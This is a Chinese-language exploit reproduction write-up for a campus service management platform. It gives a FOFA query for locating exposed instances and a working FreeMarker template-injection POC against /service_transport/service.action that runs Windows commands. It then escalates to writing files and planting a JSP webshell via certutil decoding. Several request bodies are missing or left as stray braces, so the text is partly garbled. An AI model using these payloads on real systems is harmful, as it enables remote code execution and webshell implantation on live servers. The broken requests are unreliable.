FOFA语法：title=“掌上校园服务管理平台”

0x05 漏洞复现

1.访问漏洞环境

2.构造POC

POC （POST）

POST /service_transport/service.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211

Upgrade-Insecure-Requests: 1{"command": "GetFZinfo","UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c 执行的命令\")}"

3.复现

访问http://ip:port/service_transport/service.action,出现如下结果说明漏洞存在
执行ping命令

1.发送执行ping命令的数据包并配合dnslog查看回显（此漏洞命令执行无回显）
2.查看dnslog是否有回显
有回显，ping命令成功执行。

写入文件

使用echo写入12345678到ser.txt文件中

POST /service_transport/service.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4

}

访问写入的ser.txt文件是否写入成功。

GET /ser.txt HTTP/1.1
Host: ip:port
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate

Content-Length: 0

有回显写入的12345678，文件成功写入！！！

深度利用：
既然可以写入文件，尝试写入jsp木马。

第一步：写入jsp的木马
首先对jsp马进行base64编码

}

第二步：使用certutil命令将文件解码并转换为jsp文件

POST /service_transport/service.action HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1{"command": "GetFZinfo","UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/Aaction.txt ./webapps/ROOT/qAaction.jsp\")}"
}
